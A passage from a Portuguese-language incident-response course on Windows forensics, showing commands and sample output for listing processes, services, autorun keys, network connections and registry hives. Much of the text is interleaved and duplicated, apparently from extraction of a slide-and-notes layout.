svchost.exe pid: 1576 NT AUTHORITY\SYSTEM 1390: wordpad.exe(676) csrss.exe pid: 1040 NT AUTHORITY\SYSTEM AD0: wordpa
cmdagent.exe pid: 380
wordpad.exe pid: 676
NT AUTHORITY\SYSTEM
COMPUTADOR\Usuario
4DC: wordpad.exe(676)
60:
d.exe(676)
HKCU\Software\Microsoft\Windows\ CurrentVersion\Applets\Wordpad
wordpad.exe pid: 676 COMPUTADOR\Usuario 84: wordpad.exe(676): 2812
lsass.exe pid: 1124 NT AUTHORITY\SYSTEM 69C: wordpa
wordpad.exe pid: 676 COMPUTADOR\Usuario 14C: wordpad.exe(676): 1684 d.exe(676)
wordpad.exe pid: 676 COMPUTADOR\usuario 168: wordpad.exe(676): 3428
svchost.exe pid: 1576 NT AUTHORITY\SYSTEM 1390: wor
dpad.exe(676)
cmdagent.exe pid: 380 NT AUTHORITY\SYSTEM 4DC: word
pad.exe(676)
wordpad.exe pid: 676 COMPUTADOR\Usuario 60: HKCU\So
ftware\Microsoft\Windows\ CurrentVersion\Applets\Wo
rdpad
wordpad.exe pid: 676 COMPUTADOR\Usuario 84:wordpad.
exe(676): 2812
wordpad.exe pid: 676 COMPUTADOR\Usuario 14C: wordpa
d.exe(676): 1684
wordpad.exe pid: 676 COMPUTADOR\usuario 168: wordpa
d.exe(676): 3428

Outra informação importante sobre os processos, além das bibliotecas que eles
utilizam, é relativa aos arquivos que eles mantêm abertos. Um processo desco-
nhecido pode manter arquivos de logs, pipes e outros tipos de arquivos abertos
durante a execução. É importante tentar recuperar essa informação, pois isso
pode facilitar o trabalho de investigação posterior.

Podemos ver no slide todos os arquivos abertos e os processos que controlam,


além de chaves de registro e do usuário que iniciou o processo.

Análise forense avançada em Windows


148
Escola Superior de Redes RNP

Outra ferramenta útil para ver arquivos abertos em tempo real é a Filemon. Com
ela, podemos ver inclusive os acessos aos arquivos especiais do MFT, indicando
leituras ou escritas na tabela de partição.

Serviços em execução
Serviços em execução

Podemos utilizar a própria ferramenta do Windows


Serviços são programas iniciados pelo sistema
operacional para listar os serviços iniciados. O problema desta
Funções: ferramenta é que ela não lista mais nenhuma
Oferecer algum tipo de serviço aos usuários informação sobre os serviços, e isto pode não ser
Controlar algum tipo de acesso aos dispositivos suficiente para identificar um possível serviço falso
conectados
instalado por um invasor.
Por exemplo, o compartilhamento de arquivos em rede
é controlado pelo serviço “Servidor” e as conexões
com uma câmera digital ou celular são feitas pelos
respectivos serviços instalados pelos drivers de
dispositivo

Serviços em execução

D:\IR\xp> net start


These Windows services are started:
Ad-Aware 2007 Service
Adobe LM Service
Application Layer Gateway Service
Ati HotKey Poller
Automatic Updates
avast! Antivirus
avast! iAVS4 Control Service
Background Intelligent Transfer Service

Podemos ver no slide os serviços e comandos acei-


Serviços em execução
tos por COMPUTADOR. É possível controlar o estado
D:\IR\xp> servicelist \\COMPUTADOR de um serviço com um dos comandos abaixo:
ServiceList v1.0 Copyright 1999 www.NetLatency.com
Service Name Stats
Alerter Display Name: Alerter \\net start <serviço>
State: Stopped
Type: Windows Shared Process

ALG
Controls: UNKNOWN #0
Display Name: Application Layer Gateway Service
\\net stop <serviço>
State: Running
Type: Windows Own Process
Controls: START
STOP
aswUpdSv Display Name: avast! iAVS4 Control Service
State: Running
Type: Windows Own Process
Desktop Interactive Process
Controls: START
STOP
SYSTEM SHUTDOWN

Análise forense – Sessão de aprendizagem 9


149

O psservice permite um controle muito maior sobre


Serviços em execução
os serviços, como mostra a ajuda do comando mos-
trada no slide.
D:\IR\xp> psservice /?
PsService lists or controls services on a local or remote system.
Usage: psservice [\\Computer [-u Username [-p Password]]] <cmd> <optns>
Cmd is one of the following:
query Queries the status of a service
config Queries the configuration
setconfig Sets the configuration
start Starts a service
stop Stops a service
restart Stops and then restarts a service
pause Pauses a service
cont Continues a paused service
depend Enumerates the services that depend on the one specified
find Searches for an instance of a service on the network
security Reports the security permissions assigned to a service

Além dos serviços iniciados pelo sistema, o Windows


Serviços em execução
ainda permite a execução automática de progra-
mas durante a sua inicialização. Para isso, existem
Inicialização do sistema
Diversas configurações do Windows permitem iniciar diversas configurações possíveis do sistema que
programas junto com o sistema permitem configurar um programa para iniciar
O registro é um conjunto de configurações do sistema automaticamente.
Alguns programas podem ser iniciados antes de
qualquer antivírus ou firewall
Além do arquivo Autoexec.bat, que era utilizado
desde a época do MS-DOS para iniciar programas, o
Windows permite a utilização de algumas chaves de
registro para essa finalidade. O registro é um con-
junto de configurações do sistema. Vimos anterior-
mente uma ferramenta que permite fazer consultas
ao registro: reg.exe.

D:\IR\xp> reg query HKLM\Software\Microsoft\Windows


Serviços em execução \CurrentVersion\Run8
Listing of [Software\Microsoft\Windows\CurrentVersi
D:\IR\xp> reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run on\\Run]
Listing of [Software\Microsoft\Windows\CurrentVersion\\Run]

REG_SZ SynTPLpr C:\Program


Files\Synaptics\SynTP\SynTPLpr.exe
REG_SZ SynTPLpr C:\Program Files\Synaptics\SynTP\Sy
REG_SZ SynTPEnh C:\Program nTPLpr.exe
Files\Synaptics\SynTP\SynTPEnh.exe
REG_SZ eabconfg.cpl C:\Program Files\HPQ\Quick Launch REG_SZ SynTPEnh C:\Program Files\Synaptics\SynTP\Sy
Buttons\EabServr.exe /Start nTPEnh.exe
REG_SZ DAEMON Tools-1033 "C:\Program Files\D-
Tools\daemon.exe" -lang 1033 REG_SZ eabconfg.cpl C:\Program Files\HPQ\Quick Laun
REG_SZ Broadcom Wireless Manager UI ch Buttons\EabServr.exe /Start
C:\WINDOWS\system32\bcmntray
REG_SZ Windows Defender "C:\Program Files\Windows REG_SZ DAEMON Tools-1033 “C:\Program Files\D-Tools\
Defender\MSASCui.exe" -hide
REG_SZ COMODO Firewall Pro "C:\Program
daemon.exe” -lang 1033
Files\Comodo\Firewall\CPF.exe" /background REG_SZ Broadcom Wireless Manager UI C:\WINDOWS\syst
REG_SZ avast! C:\PROGRA~1\ALWILS~1\Avast4\ashDisp.exe
em32\bcmntray
REG_SZ Windows Defender “C:\Program Files\Windows D
efender\MSASCui.exe” -hide
REG_SZ COMODO Firewall Pro “C:\Program Files\Comodo
\Firewall\CPF.exe” /background
REG_SZ avast! C:\PROGRA~1\ALWILS~1\Avast4\ashDisp.exe

Uma das chaves do registro que permitem a execução de processos na iniciali-


zação do sistema é a chave “HKLM\Software\Microsoft\Windows\CurrentVersion\
Run”. Podemos descobrir quais programas são iniciados automaticamente com o
comando expresso no slide.

Análise forense avançada em Windows


150
Escola Superior de Redes RNP

No exemplo temos diversos processos configurados para iniciar juntamente


com o sistema.

D:\IR\xp> autorunsc8
Serviços em execução
Autoruns v8.61 - Autostart program viewer
HKLM\System\CurrentControlSet\Control\Terminal Serv
D:\IR\xp> autorunsc
Autoruns v8.61 - Autostart program viewer
er\Wds\rdpwd\StartupPrograms
HKLM\System\CurrentControlSet\Control\Terminal
Server\Wds\rdpwd\StartupPrograms
rdpclip
rdpclip RDP Clip Monitor
RDP Clip Monitor
Microsoft Corporation Microsoft Corporation
c:\windows\system32\rdpclip.exe
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
c:\windows\system32\rdpclip.exe
C:\WINDOWS\system32\userinit.exe HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\W
Userinit Logon Application inlogon\Userinit
Microsoft Corporation
c:\windows\system32\userinit.exe C:\WINDOWS\system32\userinit.exe
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SynTPLpr Userinit Logon Application
TouchPad Driver Helper Application Microsoft Corporation
Synaptics, Inc.
c:\program files\synaptics\syntp\syntplpr.exe c:\windows\system32\userinit.exe
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SynTPLpr
TouchPad Driver Helper Application
Synaptics, Inc.
c:\program files\synaptics\syntp\syntplpr.exe

Além desta chave de registro, existem muitas outras que permitem a inicialização
automática de processos. Por isso, podemos usar ferramentas como o autorunsc.
exe para listar todas as possibilidades.

Repare que ela lista diversas chaves de registro e arquivos de configuração que
permitem a execução automática de programas.

Esta é a versão gráfica da ferramenta anterior, que permite ligar ou desligar pro-
gramas que estão iniciando automaticamente.

Análise forense – Sessão de aprendizagem 9


151

Serviços em execução Finalmente, a última forma que estudaremos de che-


car processos que podem ser executados automati-
camente é a verificação dos processos agendados.
O agendamento de tarefas permite definir uma data
D:\IR\xp> schtasks
TaskName Next Run Time Status
e hora para a execução de um programa. Para listar
==================================== os agendamentos existentes, podemos usar a ferra-
AppleSoftwareUpdate 09:42:00, 4/2/2008
MP Scheduled Scan 01:36:00, 30/1/2008
menta schtasks.exe.

Conclusões
Conclusões

Na próxima sessão vamos conhecer as ferramentas


Existem muitas informações que devem ser coletadas em
um sistema comprometido que podem ser usadas para coletar informações
Vimos como coletar informações básicas sobre o sobre conexões de rede, além de conhecer mais
sistema, e também como listar e identificar os processos sobre algumas características de sistemas Windows,
em execução na máquina
como arquivos em Alternate Data Streams, logs
As bibliotecas carregadas pelos processos e os arquivos
abertos são importantes fontes de informação para de eventos e o registro do sistema, além de ferra-
auxiliar a investigação mentas para investigar históricos de navegação na
A execução automática de programas é uma informação internet e de recuperação de senhas.
que também deve ser coletada

Análise forense avançada em Windows


152
Escola Superior de Redes RNP

Análise forense – Sessão de aprendizagem 9


9
Sessão de aprendizagem 9
Análise forense avançada em Windows
Roteiro de atividades

Tópicos e conceitos

\\Identificar os processos e serviços de uma estação Windows.

Competências técnicas desenvolvidas

\\O aluno aprenderá a descobrir informações sobre o sistema Windows e


identificar processos.

Outras competências desenvolvidas

\\Capacidade de investigação e pesquisa do aluno.

Tempo previsto para as atividades

\\90 minutos
154
Escola Superior de Redes RNP

Atividade 1 – Levantando informações do sistema

Execute em sua estação os comandos, informações básicas do sistema,


processos em execução e bibliotecas utilizadas, fazendo um relatório do
que encontrar. Existem usuários suspeitos no sistema? Há compartilhamento
de disco? Dos processos e bibliotecas encontrados, liste aqueles que você
não soube identificar para que servem.

Atividade 2 – Identificando processos comprometidos

1. Procure na internet mais informações sobre os processos listados acima


como desconhecidos. Além disso, pesquise os processos em execução
que podem ser confundidos com programas maliciosos. Exemplo: o
processo svchost.exe pode ser confundido com diversos vírus; encontre
informações na internet que confirmem essa informação. Relate não
somente o site onde achou a informação, mas exemplos de programas
maliciosos que podem ser confundidos com os processos do sistema.

2. Pesquise os serviços instalados em sua estação. Faça um relatório sobre


todos os programas auto-executáveis, procurando na internet informações
sobre eles, assim como foi feito no exercício anterior.

Atividade 3 – Novas ferramentas

Use o tempo restante para procurar na internet novas ferramentas que


podem ser utilizadas para conseguir outras informações além das que
vimos nesta sessão. Faça um relatório dos sites que encontrar, com uma
breve descrição das ferramentas.

Análise forense – Sessão de aprendizagem 9


10
Sessão de aprendizagem 10
Análise forense avançada em Windows
(parte 2)
Sumário da sessão

Coleta de informações de redes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 156

Coleta de informações em registros do Windows. . . . . . . . . . . . . . . . . . . . . . 160

Coleta de registros de eventos (logs). . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 164

Análise de conteúdo do Recycle.Bin. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 167

Análise de conteúdo do Clipboard . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 168

Análise de conteúdo de arquivos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 168

Recuperação de dados ocultos ADS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 170

Análise do histórico de navegação. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 172

Recuperação de senhas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 174

Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 175

Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 177

Atividade 1 – Coleta de informações de redes . . . . . . . . . . . . . . . . . . . . . . . . 178

Atividade 2 – Coleta de informações em registros do Windows. . . . . . . . . . . . 178

Atividade 3 – Análise de conteúdo do Recycle.Bin. . . . . . . . . . . . . . . . . . . . . . 178

Atividade 4 – Recuperação de dados ocultos ADS . . . . . . . . . . . . . . . . . . . . . 178

Atividade 5 – Análise do histórico de navegação. . . . . . . . . . . . . . . . . . . . . . . 178

Atividade 6 – Recuperação de senhas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 179


156
Escola Superior de Redes RNP

Coleta de informações de redes


Coleta de informações de redes

Conexões de rede
É importante notar as informações sobre as con-
São evidências voláteis figurações de IP de todas as interfaces de rede,
Podem dar pistas sobre a origem dos invasores
incluindo aquelas que forem interfaces wireless. Além
Podem dar dicas sobre possíveis vazamentos de informação ou mau
uso do sistema disso, é importante notar se a máquina possui um IP
Existem dois tipos de informação importantes de coletar: configurado estaticamente ou se usa DHCP para se
Conexões ativas, ou seja, aquelas que estão acontecendo no
momento atual auto-configurar.
Portas abertas, ou os serviços que a máquina está oferecendo
publicamente
O investigador deve comparar a saída de diversos comandos Por fim, também é necessário anotar todos os ende-
diferentes, pois os rootkits costumam esconder informações reços MAC das placas instaladas no computador,
sobre conexões de redes e portas abertas.
para correlacionar posteriormente estas informações
com logs externos.

D:\IR\xp> ipconfig /all8


Coleta de informações de redes Windows IP Configuration
Host Name . . . . . . . . . . . : COMPUTADOR
Conexões de rede Primary Dns Suffix . . . . . . . :
D:\IR\xp> ipconfig /all Node Type . . . . . . . . . . . : Hybrid
Windows IP Configuration
Host Name . . . . . . . . . . . . : COMPUTADOR
Primary Dns Suffix . . . . . . . :
IP Routing Enabled. . . . . . . : No
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : provedor.com.br
Ethernet adapter Wireless Network Connection 2:
DNS Suffix Search List. . . . . .: provedor.com.br
Connection-specific DNS Suffix . : provedor.com.br
Description . . . . . . . . . . . : Broadcom 802.11b/g WLAN Ethernet adapter Wireless Network Connection 2:
Physical Address. . . . . . . . . : 00-90-4B-EA-0F-F3
Dhcp Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Connection-specific DNS Suffix . : provedor.com.br
IP Address. . . . . . . . . . . . : 192.168.0.194
Subnet Mask . . . . . . . . . . . : 255.255.255.0 Description . . . . . . . . . . : Broadcom 802.11
Default Gateway . . . . . . . . . : 192.168.0.1
DHCP Server . . . . . . . . . . . : 192.168.0.1 b/g WLAN
DNS Servers . . . . . . . . . . . : 192.168.0.10
192.168.0.1
Lease Obtained. . . . . . . . . . : quarta-feira, 30 de janeiro de 2008
Physical Address. . . . . . . . : 00-90-4B-EA-0F-F3
16:42:06
Lease Expires . . . . . . . . . . : quarta-feira, 6 de fevereiro de
2008 16:42:06
Dhcp Enabled. . . . . . . . . . : Yes
Autoconfiguration Enabled . . . .:Yes
IP Address. . . . . . . . . . . : 192.168.0.194
Subnet Mask . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.0.1
DHCP Server . . . . . . . . . . . : 192.168.0.1
DNS Servers . . . . . . . . . . . : 192.168.0.10
192.168.0.1
Lease Obtained. . . . . . . . . . : quarta-feira,
30 de janeiro de
2008 16:42:06
Lease Expires . . . . . . . . . . : quarta-feira, 6
de fevereiro de
2008 16:42:06

D:\IR\xp> iplist8
Coleta de informações de redes
DiamondCS IP Enumerator v1.0 (www.diamondcs.com.au)
# ADDRESS BROADCAST NETMASK
Conexões de rede -1040144192 192.168.0.194 255.255.255.255 255.2
55.255.0
D:\IR\xp> iplist
DiamondCS IP Enumerator v1.0 (www.diamondcs.com.au) 16777343 127.0.0.1 255.255.255.255 255.0
# ADDRESS BROADCAST NETMASK .0.0
-1040144192 192.168.0.194 255.255.255.255 255.255.255.0 19900608 192.168.47.1 255.255.255.255 255.2
16777343 127.0.0.1 255.255.255.255 255.0.0.0 55.255.0
19900608 192.168.47.1 255.255.255.255 255.255.255.0
3 interfaces found. 3 interfaces found.

A ferramenta IPLIST, presente no kit, permite listar


apenas as configurações de IP para as interfaces
configuradas no sistema.

Análise forense – Sessão de aprendizagem 10


157

D:\IR\xp> netstat –na8


Coleta de informações de redes

Conexões de rede Podemos ver no slide algumas conexões estabelecidas


e outras que foram fechadas, embora ainda não tenham
D:\IR\xp> netstat -na
Active Connections
Proto Local Address Foreign Address State
ultrapassado o tempo de tcp timeout. Esta é uma
TCP
TCP
0.0.0.0:135
0.0.0.0:445
0.0.0.0:0
0.0.0.0:0
LISTENING
LISTENING característica das conexões TCP, que pode ser útil para
TCP 127.0.0.1:1096 127.0.0.1:1097 ESTABLISHED
TCP 127.0.0.1:1097 127.0.0.1:1096 ESTABLISHED capturar também conexões que já foram fechadas.
TCP 127.0.0.1:12025 0.0.0.0:0 LISTENING
TCP 192.168.0.194:2355 64.233.171.104:80 LAST_ACK
TCP 192.168.0.194:2395 66.249.83.19:443 CLOSE_WAIT
UDP
UDP
0.0.0.0:445
0.0.0.0:500
*:*
*:* Verificamos também no slide alguns serviços ofereci-
...
dos pelo protocolo UDP.

D:\IR\xp> netstat -nbv8


Coleta de informações de redes
Active Connections
TCP 127.0.0.1:1097 127.0.0.1:1096 ESTABLISHED 2512
Conexões de rede
C:\WINDOWS\system32\mswsock.dll
D:\IR\xp> netstat -nbv C:\WINDOWS\system32\WS2_32.dll
Active Connections
TCP 127.0.0.1:1097 127.0.0.1:1096 ESTABLISHED C:\Program Files\Mozilla Firefox\nspr4.dll
2512
C:\WINDOWS\system32\mswsock.dll C:\Program Files\Mozilla Firefox\xpcom_core.dll
C:\WINDOWS\system32\WS2_32.dll
C:\Program Files\Mozilla Firefox\nspr4.dll C:\Program Files\Mozilla Firefox\firefox.exe
C:\Program Files\Mozilla Firefox\xpcom_core.dll
C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\xpcom_core.dll
C:\Program Files\Mozilla Firefox\xpcom_core.dll
C:\Program Files\Mozilla Firefox\firefox.exe
C:\Program Files\Mozilla Firefox\firefox.exe
C:\Program Files\Mozilla Firefox\xpcom_core.dll
-- unknown component(s) --
C:\Program Files\Mozilla Firefox\xpcom_core.dll
[firefox.exe] -- unknown component(s) --
...
[firefox.exe]
...

Outra forma de usar o comando netstat.exe permite


Coleta de informações de redes
que sejam listados os processos associados a cada
Conexões de rede conexão, informação importante que difere da versão
D:\IR\xp> openports Unix do comando. Esta versão do netstat.exe permite
DiamondCS OpenPorts v1.0 (-? for help)
SYSTEM [4]
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
listar toda a pilha de processos que estão associadas
UDP 192.168.47.1:138 0.0.0.0:0 LISTENING
UDP 0.0.0.0:445
UDP 192.168.0.194:1900
0.0.0.0:0
0.0.0.0:0
LISTENING svchost.exe [380]
LISTENING MsnMsgr.Exe [884]
a uma conexão.
TCP 192.168.0.194:1074 207.46.109.93:1863 ESTABLISHED
UDP 192.168.0.194:46759 0.0.0.0:0 LISTENING wmplayer.exe [984]
UDP 127.0.0.1:2617 0.0.0.0:0 LISTENING lsass.exe [1144]
TCP 127.0.0.1:1101
TCP 127.0.0.1:1102
127.0.0.1:1102
127.0.0.1:1101
ESTABLISHED
ESTABLISHED
Normalmente, somente o processo que abriu a
TCP 192.168.0.194:2670 66.249.83.83:443 CLOSE_WAIT
TCP 127.0.0.1:1097
TCP 127.0.0.1:1096
127.0.0.1:1096
127.0.0.1:1097
ESTABLISHED
ESTABLISHED
conexão é listado. Podemos ver entre colchetes, no
TCP 192.168.0.194:2668 66.249.83.19:443 ESTABLISHED
fim da listagem, o nome do processo que solicitou
a criação da conexão, mas também podemos ver
acima toda a pilha de processos utilizada para criar
a conexão, até chegar na pilha TCP/IP.

Esta é uma informação importante, pois permite detectar a presença de proces-


sos estranhos que estejam interceptando a criação de conexões e, com isso,
capazes de capturar informações confidenciais.

D:\IR\xp> openports8
DiamondCS OpenPorts v1.0 (-? for help)
SYSTEM [4]
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING

Análise forense avançada em Windows (parte 2)


158
Escola Superior de Redes RNP

UDP 192.168.47.1:138 0.0.0.0:0 LISTENING


UDP 0.0.0.0:445 0.0.0.0:0 LISTENING svchost.exe [380]
UDP 192.168.0.194:1900 0.0.0.0:0 LISTENING MsnMsgr.Exe [884]
TCP 192.168.0.194:1074 207.46.109.93:1863 ESTABLISHED
UDP 192.168.0.194:46759 0.0.0.0:0 LISTENING wmplayer.exe [984]
UDP 127.0.0.1:2617 0.0.0.0:0 LISTENING lsass.exe [1144]
TCP 127.0.0.1:1101 127.0.0.1:1102 ESTABLISHED
TCP 127.0.0.1:1102 127.0.0.1:1101 ESTABLISHED
TCP 192.168.0.194:2670 66.249.83.83:443 CLOSE_WAIT
TCP 127.0.0.1:1097 127.0.0.1:1096 ESTABLISHED
TCP 127.0.0.1:1096 127.0.0.1:1097 ESTABLISHED
TCP 192.168.0.194:2668 66.249.83.19:443 ESTABLISHED

Vemos novamente os processos associados às portas abertas, mas este


comando não faz o mapeamento completo de portas para processos.

D:\IR\xp> fport8
Coleta de informações de redes
FPort v2.0 - TCP/IP Process to Port Mapper
Pid Process Port Proto Path
Conexões de rede
1364 -> 135 TCP
D:\IR\xp> fport
FPort v2.0 - TCP/IP Process to Port Mapper
4 System -> 139 TCP
Pid
1364
Process Port
-> 135
Proto Path
TCP
4 System -> 445 TCP
4 System -> 139 TCP 2156 -> 1025 TCP
4 System -> 445 TCP
2156 -> 1025 TCP 884 MsnMsgr -> 1074 TCP C:\Program Files
884 MsnMsgr -> 1074 TCP C:\Program Files\MSN
Messenger\MsnMsgr.Exe \MSN Messenger\MsnMsgr.Exe
2512 firefox -> 1096 TCP C:\Program Files\Mozilla
Firefox\firefox.exe 2512 firefox -> 1096 TCP C:\Program Files
2512 firefox -> 1097
Firefox\firefox.exe
TCP C:\Program Files\Mozilla \Mozilla Firefox\firefox.exe
2512 firefox -> 1101
Firefox\firefox.exe
TCP C:\Program Files\Mozilla 2512 firefox -> 1097 TCP C:\Program Files
... \Mozilla Firefox\firefox.exe
2512 firefox -> 1101 TCP C:\Program Files
\Mozilla Firefox\firefox.exe
...

Temos agora informações sobre conexões de rede abertas e serviços oferecidos


pela máquina. Dependendo do incidente, estas informações podem comprovar ou
auxiliar na identificação dos responsáveis.

Análise forense – Sessão de aprendizagem 10


159

Além das ferramentas de comando de linha estudadas, ainda existem duas ferra-
mentas com interface gráfica que podem ser utilizadas para coletar informações
sobre conexões de rede.

Uma delas já foi vista na sessão passada: trata-se da ferramenta procexp.exe.


Ela permite visualizar propriedades sobre um processo em execução; entre estas
propriedades estão as conexões de rede utilizadas pelo processo.

Outra ferramenta que também permite visualizar este tipo de informação é cha-
mada cports.exe. Ela contém muitas informações interessantes sobre os proces-
sos que estão mantendo conexões abertas. Execute a ferramenta em sua estação
e examine as colunas de informação para cada processo.

D:\IR\xp> promiscdetect8
Coleta de informações de redes
Adapter name:
- Broadcom 802.11b/g WLAN
Conexões de rede Active filter for the adapter:
D:\IR\xp> promiscdetect - Directed (capture packets directed to this comput
Adapter name:
- Broadcom 802.11b/g WLAN er)
Active filter for the adapter:
- Directed (capture packets directed to this computer)
- Multicast (capture multicast packets for groups t
- Multicast (capture multicast packets for groups the computer is a member of) he computer is a member of)
- Broadcast (capture broadcast packets)
- Promiscuous (capture all packets on the network)
- Broadcast (capture broadcast packets)
WARNING: Since this adapter is in promiscuous mode there could be a sniffer
running on this computer!
- Promiscuous (capture all packets on the network)
Adapter name:
WARNING: Since this adapter is in promiscuous mode
- Realtek RTL8139/810x Family Fast Ethernet NIC there could be a sniffer running on this computer!
Active filter for the adapter:
- Directed (capture packets directed to this computer)
- Multicast (capture multicast packets for groups the computer is a member of) Adapter name:
- Broadcast (capture broadcast packets)
- Realtek RTL8139/810x Family Fast Ethernet NIC
Active filter for the adapter:
- Directed (capture packets directed to this compu
ter)
- Multicast (capture multicast packets for groups
the computer is a member of)
- Broadcast (capture broadcast packets)

Uma informação que pode ser uma indicação forte de que a máquina foi comprometida
é o fato de alguma de suas interfaces de rede estar funcionando em modo promíscuo.

Este tipo de funcionamento faz com que o driver de rede associado à interface
capture todos os pacotes que passem pela rede, mesmo aqueles que não são
direcionados à própria máquina. Com isso, é possível monitorar todo o tráfego de
rede, coletando informações confidenciais como senhas e logins, entre outras.

Para detectar a presença de alguma interface de rede em modo promíscuo, existe


uma ferramenta no kit chamada promiscdetect.exe.

Vemos no slide que uma das interfaces está configurada para funcionar em modo
promíscuo, e com isso capturar todos os pacotes que passam pela rede, o que
pode ser indicativo da presença de um sniffer, e quase certamente do comprome-
timento da máquina.

Análise forense avançada em Windows (parte 2)


160
Escola Superior de Redes RNP

Coleta de informações em registros do


Coleta de informações em registros do
Windows
Windows
Registro do Windows
Uma das características que diferenciam a coleta de evidências Os arquivos de registro em um sistema Windows XP
em Linux e Windows
estão localizados em C:\windows\system32\config.
Base hierárquica e centralizada de dados utilizada pelo
Windows para armazenar informações necessárias para a Estes arquivos não podem ser copiados normal-
configuração do sistema (para um ou mais usuários), mente. Para isso devemos utilizar uma ferramenta. A
aplicações e dispositivos de hardware
O registro é um arquivo binário de dados utilização da ferramenta regedit.exe faz com que os
Para poder acessar os dados neste arquivo, devemos exportar dados presentes nos arquivos SAM e SECURITY não
o registro em formato de texto ou utilizar ferramentas que
permitam realizar consultas no registro fiquem visíveis.
A ferramenta mais utilizada é o regedit.exe da própria Microsoft
Existe um arquivo adicional de registro chamado
NTUSER.DAT, localizado no diretório do usuário, em C:\
Documents and Settings\, que possui todas as configu-
rações pessoais do usuário.

Registros e respectivas funções:


Coleta de informações em registros do
Windows \\DEFAULT – Armazena todas as informações
Registro do Windows
originais do usuário.
Localizado em C:\windows\system32\config
Registro Função \\SAM – Armazena informações do serviço Security
DEFAULT Armazena todas as informações originais do
usuário. Accounts Manager.
SAM Armazena informações do serviço Security
Accounts Manager.
\\SECURITY – Armazena informações de
SECURITY Armazena informações de segurança.
SOFTWARE Armazena informações sobre os aplicativos e
segurança.
operação.
\\SOFTWARE – Armazena informações sobre os
SYSTEM Armazenas informações sobre o hardware da
máquina. aplicativos e operação.

\\SYSTEM – Armazenas informações sobre o


hardware da máquina.

Conforme mencionamos, o registro do Windows é


Coleta de informações em registros do
uma base de dados hierárquica composta de chaves
Windows
(keys) e valores (values).
Chaves de registro
HKEY_CURRENT_USER
HKEY_USERS No campo de valores está representada a informação
HKEY_LOCAL_MACHINE armazenada no registro. O campo de valores pode pos-
HKEY_CLASSES_ROOT suir os seguintes formatos: string, binary e DWORD.
HKEY_CURRENT_CONFIG
HKEY_CURRENT_USER
Contém as informações de configuração do usuário.

HKEY_USERS
Contém o perfil dos usuários do computador.

HKEY_LOCAL_MACHINE
Contém as informações específicas do computador
relacionadas com hardware e software.

Análise forense – Sessão de aprendizagem 10


161

HKEY_CLASSES_ROOT
Contém informações sobre as associações de arquivos.

HKEY_CURRENT_CONFIG
Contém as informações do perfil do hardware do computador.

As chaves do registro podem ter seu nome abreviado, o que facilita a execução
de uma busca pelo comando de linha:
HKEY_LOCAL_MACHINE: HKLM
HKEY_CLASSES_ROOT: HKCR
HKEY_CURRENT_USER: HKCU
HKEY_USERS: HKU
HKEY_CURRENT_CONFIG: HKCC

\\REG_BINARY – Dados binários não-processados.


Coleta de informações em registros do Grande parte das informações do componente de
Windows hardware é armazenada como dado binário e exibida
em formato hexadecimal no Editor do Registro.
REG_BINARY Dados binários não-processados.

REG_DWORD Dados representados por um número de 4 bytes.

REG_EXPAND_SZ Seqüência de dados com extensão variável.


REG_MULTI_SZ Uma seqüência múltipla. \\REG_DWORD – Dados representados por um
REG_SZ Seqüência de texto com extensão fixa. número de 4 bytes. Muitos parâmetros para
REG_RESOURCE_LIST Série de matrizes para armazenar lista de recursos usada por
driver de dispositivo de hardware ou pelos dispositivos físicos
controlados por ele. drivers e serviços de dispositivos apresentam
REG_RESOURCE_REQUIREMENTS_LIST Série de matrizes para armazenar lista de drivers de dispositivo
de hardware. esse tipo e são exibidos no Editor do Registro em
REG_FULL_RESOURCE_DESCRIPTOR Série de matrizes para armazenar lista de drivers de dispositivo
de hardware. formato binário, hexadecimal ou decimal.
REG_NONE Dados sem um tipo específico.

\\REG_EXPAND_SZ – Seqüência de dados com


REG_LINK Uma seqüência Unicode que nomeia um link simbólico.
REG_QWORD Dados representados por um número que seja um inteiro de 64
bytes.
extensão variável. Esses tipos de dados incluem
variáveis que são resolvidas quando um programa
ou serviço usa os dados.

\\REG_MULTI_SZ – Seqüência múltipla. Valores que contêm listas ou valores


múltiplos em um formato que as pessoas conseguem ler são geralmente deste
tipo. As entradas são separadas por espaços, vírgulas ou outras pontuações.

\\REG_SZ – Seqüência de texto com extensão fixa.

\\REG_RESOURCE_LIST – Série de matrizes para armazenar lista de recursos


usada por driver de dispositivo de hardware ou pelos dispositivos físicos
controlados por ele. Esses dados são detectados e gravados pelo sistema
na árvore \ResourceMap e exibidos no Editor do Registro em formato
hexadecimal como valores binários.

\\REG_RESOURCE_REQUIREMENTS_LIST – Série de matrizes criadas para


armazenar uma lista de drivers de dispositivos de possíveis recursos de
hardware que o driver ou um dos dispositivos físicos que ele controla possam
usar. O sistema grava um subconjunto desta lista na árvore \ResourceMap.
Estes dados são detectados pelo sistema e exibidos no Editor do Registro em
formato hexadecimal como valores binários.

Análise forense avançada em Windows (parte 2)


162
Escola Superior de Redes RNP

\\REG_FULL_RESOURCE_DESCRIPTOR – Série de matrizes para armazenar


lista de drivers de dispositivo de hardware. Também projetadas para
